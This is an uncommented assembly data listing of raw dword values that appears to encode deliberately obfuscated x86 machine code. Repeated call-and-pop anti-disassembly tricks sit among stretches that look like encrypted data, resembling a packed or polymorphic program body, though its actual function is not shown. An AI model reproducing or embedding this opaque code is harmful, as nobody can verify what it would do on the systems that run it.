		dd 0B1BD8B2Ah, 0FF06122Ch, 122CB595h, 112E906h,	0DF8B0000h
		dd 0B50900B0h, 61204E9h, 850F70E6h, 6, 19A99589h, 830F0612h
		dd 6, 2415BD8Bh, 71E40612h, 66FBB70Fh, 1233C781h, 830F613Ch
		dd 0DCh, 0C8B60FFCh, 58A0Fh, 81660000h,	0F4580EFh, 685h
		dd 49B58900h, 0BA061215h, 6, 7D362CBFh,	0C1C18B52h, 0BD8B04E8h
		dd 61204B5h, 0EA59529h,	0F7660612h, 6D8D89E2h, 66061211h
		dd 770AEF81h, 8BF5C82Bh, 27BB66D1h, 1BE985h, 12E80000h
		dd 4D000000h, 7F6C7A8Bh, 59B350Fh, 1AB004CDh, 0E360EA78h
		dd 0D8BF0FA2h, 59858B5Bh, 1061219h, 120525B5h, 7C08306h
		dd 8900C083h, 1228D185h, 0FD03B06h, 1183h, 0F3816600h
		dd 45E9B8F4h, 66000000h, 0BF66DA8Bh, 8D8B33ABh,	61218D1h
		dd 0F3815B53h, 247FF2C8h, 0F01E183h, 2784h, 3890F00h, 0F000000h
		dd 0A583DAB7h, 61218D1h, 4DCF80FEh, 1E59D8Bh, 95890612h
		dd 6121959h, 0E9DF8B66h, 0
		dd 17C1B58Dh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0EBB412C3h, 29B19D05h, 8B674F39h
		dd 1228EDBDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 18C3C355h, 7B1D3F6h
		dd 7367CF9Bh, 19CD95FFh, 0B9F80612h, 835h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3BC35646h, 748D8466h
		dd 8916D044h, 1200EDB5h, 0FCE18306h, 45B52960h,	3061205h
		dd 121E458Dh, 6AFC6106h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 834C351h, 91805CCBh
		dd 0F017042h, 681h, 0A5BD8B00h,	0B8061207h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E0C35141h
		dd 0BD095E48h, 61209DDh, 8B66D22Bh, 0C233ADF8h,	0D003E8D1h
		dd 7504E983h, 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0AC27B173h, 1321BD8Bh, 840F0612h
		dd 6, 3659D89h,	880D0612h, 8B000000h, 120685BDh, 0A1958B06h
		dd 6A061209h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0B2B2C355h, 62D159C7h,	0C0DF8166h
		dd 58D8B47h, 6A061205h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0E9C9C351h,	0Eh, 95788B1Bh
		dd 0A6685C33h, 66D2FF42h, 8B50B64Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 5BC35242h, 59C4A1D4h,	0ED45A3A0h, 0A59D2B50h
		dd 57061209h, 2081BD89h, 835B0612h, 122121BDh, 840F0006h
		dd 0B8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	54C35747h, 2DD59589h, 850F0612h, 6, 2305BD0Bh
		dd 0B80612h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0E32BC350h,	15F7BB66h
		dd 4DB58D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 8F4A7BC3h, 21B58987h, 0FF06122Ah
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 852360F3h, 6121805h, 0C1BD0953h,	5E061211h
		dd 0C8806061h, 55B5236Eh, 6106121Ch, 1BD9BD83h,	0F000612h
		dd 3BE84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 6558A746h, 0BD83F841h, 6121BD9h
		dd 0AB840F01h, 29000003h, 1215259Dh, 0D9BD8306h, 306121Bh
		dd 362860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 3F6F46C3h, 6025B760h, 5D14BE66h
		dd 61A7CC80h, 0CE961h, 0CEEB0000h, 1C1EA7DCh, 846FBDDh
		dd 6A604FDDh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 8A42C355h, 0E6BC8467h,	9C59D8Bh
		dd 0BB660612h, 8C66BC6Ch, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 5EED33D4h
		dd 23159D8Bh, 0E1800612h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C8D7B183h
		dd 8A0F90FEh, 0Ch, 6880Fh, 0B5890000h, 61221DDh, 840FC90Ah
		dd 140h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 19h,	60C35545h, 63CAF960h, 3EEF811Eh, 8B735FF6h, 12308D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 8A615DDDh, 0F31248C4h, 5A3BB9Eh,	853320B9h
		dd 6123165h, 7E9h, 77F89B00h, 58E5BEDCh, 860F50h, 89000000h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 519006C3h, 46C0AAA9h, 950952B7h, 61221DDh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 383B2DC3h, 58922E4Ah, 8B17BF66h, 0AE40BE68h
		dd 5E98Ch, 0D96F0000h, 81667B1Bh, 0C3412404h, 49BB7370h
		dd 0FF77B185h, 12237995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89615BA8h
		dd 15C81285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 28637CD7h, 151CD69Ch, 8166FCBEh
		dd 89ACDFD7h, 12192585h, 10CE906h, 0F88B0000h, 0C80A858Bh
		dd 9D8B0615h, 6123475h,	1800C7h, 0BD230000h, 6120ED1h
		dd 0C80EB58Bh, 9D8B0615h, 6122365h, 0B127C381h,	858B28AFh
		dd 6122AB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	13C35141h, 68949A1h, 0FE951h, 0BC920000h, 0DB904F4h
		dd 58949DA6h, 9422F9C8h, 858B5F77h, 612308Dh, 4689DA8Bh
		dd 80BF5304h, 5F0FA678h, 3915BB50h, 34895816h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0DE013CAEh, 0DF806BA3h, 0B5FFFC69h, 615C80Ah, 0B468DF8Bh
		dd 815D62B5h, 0B64B2434h, 6A5D7Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 9010C8C3h, 0DFDE857Bh
		dd 0F381512Ah, 2767FCF5h, 0AED3805Bh, 0C812858Dh, 0BF0F0615h
		dd 26B390FEh, 9D8B9050h, 61200C5h, 237995FFh, 89520612h
		dd 12183DB5h, 0C7615F06h, 121BD985h, 306h, 1DBD8B00h, 83061203h
		dd 15C812BDh, 840F0006h, 2Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 72C35646h, 66A0AF99h, 20E9F88Bh
		dd 66000000h, 0FF73E381h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 66C08B00h, 6ADF8Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D5E272C3h, 810FB09Eh
		dd 5, 96313BBFh, 0D9BD8300h, 306121Bh, 3BC850Fh, 0BD830000h
		dd 615C812h, 0AF840F00h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2A0FC351h
		dd 841BE467h, 0B5FFF820h, 615C812h, 1AA995FFh, 85890612h
		dd 612019Dh, 0C806B58Bh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0F6058C3h, 0B866D1BFh
		dd 0F6147E2h, 0C8Ah, 7E900h, 9EDE0000h,	163C554Bh, 106C7C6h
		dd 8B000100h, 1221BD9Dh, 8B0F5006h, 3, 89FA8B66h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BF6610C3h, 0B5FF9C4Eh, 615C812h, 19A5BD8Bh,	95FF0612h
		dd 6121C05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	34C35040h, 8B668F66h, 6B58BFAh,	6A0615C8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C3BFC352h, 858BC2E6h, 61201A5h, 68D0Fh, 85890000h
		dd 61215DDh, 0C48689h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0C45F56C3h, 87D9D8Bh
		dd 958B0612h, 61209A1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 43C35040h, 86C5B89Ah,	41B6449h, 6840F60h
		dd 8B000000h, 120DD985h, 83F86106h, 295604C2h, 122A9D9Dh
		dd 50895B06h, 79BD8920h, 8B061215h, 1234A99Dh, 6F858D06h
		dd 6A0615DCh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0C9B1C352h, 5FDF793Eh,	664D96D7h
		dd 89D98B66h, 0B886h, 2DB58900h, 8B06121Ch, 66006AD9h
		dd 0B5FFFA8Bh, 615C812h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E8C35747h
		dd 66FAB024h, 7114D381h, 6E851h, 0A50A0000h, 1C7EFA84h
		dd 0EB5CC381h, 5B5B1081h, 6A595FFh, 9D290612h, 61219C5h
		dd 10E896h, 93290000h, 0B75A47Ah, 699BB7Dh, 26EEF067h
		dd 0D88B540Ah, 0BB66505Bh, 2396A2ACh, 122ED5BDh, 12B5FF06h
		dd 6A0615C8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 894AC355h, 9D2B9549h, 6121421h
		dd 28195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 83F1ACC3h, 122A09BDh, 840F0006h
		dd 36h,	1DD9529h, 89500612h, 6A2434h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 47BB93C3h
		dd 113B49Ah, 8B5747CBh,	121DB59Dh, 0B5FF5B06h, 615C812h
		dd 10E9h, 45A1B700h, 404A42B3h,	16E5B4D4h, 79D2987Dh, 0C195FFBBh
		dd 0BF061218h, 2257D4D8h, 0C812B5FFh, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 607B0DC3h, 0FFD98B66h, 121BA195h, 0DDBD8B06h, 8306122Dh
		dd 121EB1BDh, 840F0206h, 60h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 2DC35747h, 0BB8DD50Bh, 7CF37889h
		dd 3A5858Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 3693A5C3h, 18559FBEh, 8AEACF08h
		dd 519D8BDDh, 0C606122Dh, 0B5890000h, 6122045h,	1B5985C7h
		dd 612h, 8B0F0000h, 6, 189D9D0Bh, 0FEE90612h, 6AFFFFF3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0D165C351h, 78392856h, 80B49083h,	9E95AE3h
		dd 0C4000000h, 85FEB712h, 0A0D618A3h, 6AC18Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F89CCAC3h, 8BB4727Eh, 99D8D29h, 858D0612h, 6122E01h
		dd 1579BD29h, 66500612h, 489D98Bh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 160F0AA3h
		dd 6AE8A7h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 16h,	74C35545h, 0DE8B6A73h, 6A006Ah,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 18636CC3h
		dd 2F9F3896h, 820FDF8Bh, 15h, 10E9h, 9C1FC600h,	0B40BC63Fh
		dd 0D4ED4122h, 0AB009F03h, 85895158h, 6121CA9h,	6A858D5Bh
		dd 6A0616A9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 51D8C355h, 0B168CD21h,	0F50BC0Eh
		dd 0BB52FEBFh, 1207160Eh, 5C0835Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0F1C35545h,	0C5B7C345h, 8E95250h
		dd 4E000000h, 0F45940A5h, 5B3F5443h, 0F240489h,	382h, 4CC78000h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 5E6EB6C3h, 0B589513Ch, 61226DDh, 6AFB8Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h
		dd 0AC48AEF3h, 89DA354Ch, 1223E18Dh, 95FFF906h,	6120DB5h
		dd 28D8DFCh, 0E80615AFh, 14h, 40177FC4h, 4F748EDBh, 75BDF2E8h
		dd 3A9AB52Ah, 0DFED5A6Eh, 5BFB8B66h, 0BD8BD1FFh, 6121129h
		dd 7ADBD83h, 0F010612h,	4F85h, 60026A00h, 0D19589F5h, 61061219h
		dd 10E850h, 87DA0000h, 0BA1AFAE8h, 0E837D3DCh, 0DFE28CCAh
		dd 89BFD94Eh, 5F3FB793h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FCEBC351h
		dd 95FF46B3h, 61206A5h,	0F28E9h, 0E800h, 815D0000h, 16A974EDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 7D9D09A5h, 8906121Dh, 12346DB5h,	37858D06h
		dd 29061594h, 1209758Dh, 0BE95006h, 99000000h, 2A10C2FBh
		dd 0AC91C282h, 48963C7h, 0BBBF6624h, 35FF6447h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0CC35040h
		dd 0B7A0AD3Dh, 501C437Ch, 17BFBF66h, 2589645Fh,	0
		dd 0E61B531h, 85FF0612h, 6120679h, 0FF9FF6Ah, 385h, 0FB8B6600h
		dd 2D69B5FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0D2D476C3h, 891515BDh, 12091D85h
		dd 0DE8A6006h, 0B595FF61h, 0E906122Ch, 10Ch, 0F00B0FCh
		dd 68Eh, 0C5950900h, 8906122Ah,	12198185h, 0E870E606h
		dd 6, 3A705567h, 94BBF28Ch, 5F46ED20h, 12BF71E4h, 3C4039F8h
		dd 0D5830F61h, 60000000h, 51DA8B66h, 1DD99D8Bh,	61590612h
		dd 66C8B60Fh, 0BACC3ABBh, 6, 0DE8B5B51h, 0BD0BC18Bh, 612299Dh
		dd 2925BD8Bh, 0E8C10612h, 0DFB70F04h, 50E2F766h, 89C82B5Fh
		dd 12124D9Dh, 89D18B06h, 1229259Dh, 0CE906h, 0BD8B0000h
		dd 6120E9Dh, 0DFDBD89h,	858B0612h, 6120E01h, 810Fh, 0C0830000h
		dd 259D8B07h, 8906122Ah, 12038185h, 0C08306h, 18B1BD89h
		dd 0D03B0612h, 18830Fh,	4DE90000h, 0E9000000h, 0Eh, 0EFF0E32h
		dd 757FF2A2h, 0DF0B9FF4h, 8D8B8A31h, 612318Dh, 0BF66F98Bh
		dd 0E1837D61h, 25840F01h, 0F000000h, 0A583FEBFh, 612318Dh
		dd 0E59D0BFEh, 89061214h, 120E0195h, 0BABF6606h, 81BD8BD4h
		dd 0E9061234h, 0
		dd 21F2B58Dh, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9D8B79C3h, 6120575h, 2BC59509h
		dd 6A0612h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	61C35040h, 9E96Eh, 1DE10000h, 47D2C6A4h, 0FF00DDCBh
		dd 1219CD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 5B9B83B1h, 18B98D89h, 76B90612h
		dd 89000007h, 122D398Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0B6C35747h,	9ED381EBh, 0FC697245h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h
		dd 0B52A75BDh, 5A6E3A9Ah, 463B6DBBh, 0B859h, 0EE90000h
		dd 29000000h, 0A0E49E61h, 0E25E7C44h, 0D9299189h, 69BD8BCDh
		dd 2B06120Eh, 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0C9DCEDAh, 0C58D098Dh, 2B06122Ch
		dd 121E69BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 7E9F4h
		dd 0B36A0000h, 17227A79h, 56006A0Dh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 897E76DBh
		dd 122F218Dh, 0ABBB6606h, 880D77h, 80520000h, 8B5B0BD7h
		dd 1209A195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 9262C634h, 290F90C4h, 120DBDBDh
		dd 58D8B06h, 6A061205h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7AD8C352h, 2730CBBh
		dd 2D8D29F5h, 5006120Dh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 14E9DAh, 15DF0000h, 0C28017BFh, 0F442AD17h
		dd 0A99F2272h, 8B9B9378h, 6AC7F8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 12E96FC3h, 49000000h
		dd 9ECDA7A1h, 0C9902E78h, 7FB769EFh, 40E49A0h, 21BD833Bh
		dd 61221h, 86840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 190424h, 51410000h, 395FA1C3h, 8B2D5FF5h
		dd 1209A59Dh, 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0BDDEB3C3h, 813CE809h
		dd 85DF30C3h, 8DFE8B46h, 124DB58Dh, 0DD952906h,	0FF06122Dh
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8077AC21h, 0DEBF0F62h, 1BD9BD83h, 0F000612h
		dd 4E984h, 85958900h, 8306122Ch, 121BD9BDh, 840F0106h
		dd 4F1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	20C35747h, 3A095FF1h, 8386277Bh, 121BD9BDh, 860F0306h
		dd 48Bh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	9BC35141h, 892B95A0h, 14E98608h, 9F000000h, 0B0AC8C1Ch
		dd 0E01C5352h, 1B24A1B4h, 466BBC4h, 60109FD3h, 128DBD31h
		dd 8C660612h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 18E57E75h, 9FC79878h, 8166D3E4h
		dd 8BB6AEE3h, 122385BDh, 4E18006h, 12E8h, 7CF47400h, 2A9B046Eh
		dd 0FA71B77Bh, 0F2BAB8D9h, 0F7BBC67h, 581h, 0CB816600h
		dd 0A5F652Fh, 0B8840FC9h, 0F000001h, 858BDBBFh,	612308Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 66C35141h
		dd 80D96B36h, 8533FDC7h, 6123165h, 1DF59D8Bh, 60900612h
		dd 58585053h, 13E8h, 0A6C17A00h, 0E0DB6259h, 0C731727Dh
		dd 0C08A452Eh, 0CC1331E6h, 310F5250h, 615B585Ah, 13E850h
		dd 9B180000h, 35D87E9Eh, 9CF0A57Eh, 12D7EB1Eh, 6846DB38h
		dd 0DE9E0h, 0F5E80000h,	0CF417438h, 0DD09F82Dh,	5B2FB9C6h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0FD71108Fh, 8F0F12Bh, 0EB81FB57h, 512F6578h
		dd 9D8B006Ah, 61212C1h,	4E8h, 1F03FF00h, 0BB665000h, 448BA177h
		dd 6E80424h, 2B000000h,	0ACE899F5h, 12E96Ch, 0BC380000h
		dd 0BBA835Ah, 93365EE8h, 0B63307D9h, 54412BADh,	60008B5Fh
		dd 11E860B5h, 0FE000000h, 0EFA4240Ch, 7980345Ah, 796A9079h
		dd 77BAD763h, 6159BBB1h, 4244489h, 8E9h, 6DE5D500h, 0E2BDA13Fh
		dd 958958A6h, 61220B5h,	237995FFh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 77E76CC3h
		dd 9D8BD1D5h, 6121FB5h,	0C8128589h, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E96977C3h
		dd 13h,	0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 5ACF78F5h, 0F042F94h
		dd 1781h, 0DE800h, 0B6DB0000h, 736BC0E5h, 1ECA4233h, 66746C49h
		dd 5B7694BFh, 19CE9h, 1DB58900h, 8B061221h, 15C80A85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0AEC082F0h, 60B7341Fh, 1A759529h, 0C70612h
		dd 18h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
		dd 0BCC35747h, 0EB58B51h, 8B0615C8h, 120531BDh,	0B9858B06h
		dd 6A06122Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 75F5C355h, 57EC68F2h, 0D14D63CFh
		dd 858B0689h, 612308Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 6AC35646h, 241A043Fh,	5CB8DB5Ah, 9E851h
		dd 2A730000h, 22C57A3h,	668F6AD6h, 5BC577BFh, 558D895Fh
		dd 0E906121Ch, 0Bh, 0BB1EAC72h,	84172320h, 89D5E16Ch, 8E90446h
		dd 0F8000000h, 3DD8F65Fh, 96E11F81h, 6650DA8Bh,	966B8FBFh
		dd 0C8816660h, 0FF6168ACh, 15C80AB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0E4A52A05h, 638F6821h, 78BF5B0Bh, 817C6082h,	60702434h
		dd 8B605B14h, 120C319Dh, 0C2BF0F06h, 12858D61h,	890615C8h
		dd 121B5195h, 0E8605006h, 0Fh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh
		dd 0B75372D7h, 896159F9h, 8B662404h, 7995FFDEh,	6A061223h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0D79FC351h, 0FBFEB5D6h, 6A61E9h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 8768D3C3h, 111103C6h, 6042F217h, 0A2D8D03h, 0D1810612h
		dd 3B56D1EAh, 0D985C761h, 306121Bh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E495C356h, 27A29551h, 0C812BD83h, 0F000615h, 2E84h
		dd 13E900h, 5ACB0000h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h
		dd 0F5C62168h, 2CE9D6h,	9D890000h, 6122385h, 58B0Fh, 81660000h
		dd 50E74BEFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0E381C08Bh, 6872CE18h
		dd 68F0Fh, 0BD890000h, 61200C5h, 1BD9BD83h, 0F030612h
		dd 4DB85h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0A5B52950h, 6606121Eh, 0BD83FA8Bh
		dd 615C812h, 0A9840F00h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B6F3C351h
		dd 0C53CD26Dh, 56A5CE12h, 12B5FF5Bh, 6A0615C8h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 3A4FC357h, 0FFF266C1h, 121AA995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 17CB314Eh
		dd 0FB93D83Ch, 15820Fh,	10E90000h, 1E000000h, 0DB6B2868h
		dd 0B56CB88Bh, 17E7CC4Ch, 8BB4C178h, 15C806B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0C712D040h, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0A5E6ECE9h, 8B6650A8h
		dd 243489FBh, 0CE9h, 6DE89000h,	5A8C8284h, 0C3AF073h, 12B5FF20h
		dd 6A0615C8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 5111C352h, 0AE201038h,	0FC30B83Fh
		dd 1FCD9589h, 9D8B0612h, 61217D5h, 1C0595FFh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 4096D0C3h, 363580A0h, 8D31F1B8h, 6121075h, 0C806B58Bh
		dd 9D010615h, 61204D5h,	1A5858Bh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 7E8BE1C3h
		dd 634DB1BBh, 0DE8B5060h, 0C486895Fh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 30DCC356h, 958BB1F0h, 61209A1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0B1C35747h,	189F4B78h, 91C00B52h
		dd 0F04C283h, 5089F8BFh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 32849D96h, 880FE00Bh
		dd 2, 858DF98Bh, 615DC6Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0B4C35747h, 8FEE8BF1h, 80EBF60h, 9589455Fh
		dd 6122B19h, 0B8868961h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 598FC350h
		dd 82346C09h, 8E95Ch, 0D5CA0000h, 51331836h, 800F548Ah
		dd 6, 1171BD8Bh, 6A0612h, 0C812B5FFh, 810F0615h, 9, 38E0Fh
		dd 8B660000h, 0B19D8BFEh, 0FF061221h, 1206A595h, 0DA8B6606h
		dd 0A775BF96h, 0E950017Fh, 0Fh,	3EC3D722h, 2A080DB3h, 0E6DE3AEAh
		dd 964B0A77h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EAC35141h, 6890Fh, 9D330000h, 6121171h, 0B5FFF1B3h
		dd 615C812h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0FFC35141h, 0A9859C0Dh,	0FF964DC6h, 12028195h
		dd 8830F06h, 0F000000h,	28Dh, 83D98B00h, 122A09BDh, 840F0006h
		dd 16h,	0BE9h, 9A799300h, 0CB3606B6h, 0B45C3F72h, 8970B350h
		dd 0B5FF2434h, 615C812h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 6C35343h, 0FFB07F47h,	1218C195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 5AF8087Bh, 8B13DB80h, 1210CDBDh, 12B5FF06h, 6A0615C8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FF4EC357h, 121BA195h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C348CBB4h
		dd 7B6F82B9h, 6E81Ah, 0B0C30000h, 0E1C3B043h, 13E8h, 64FD200h
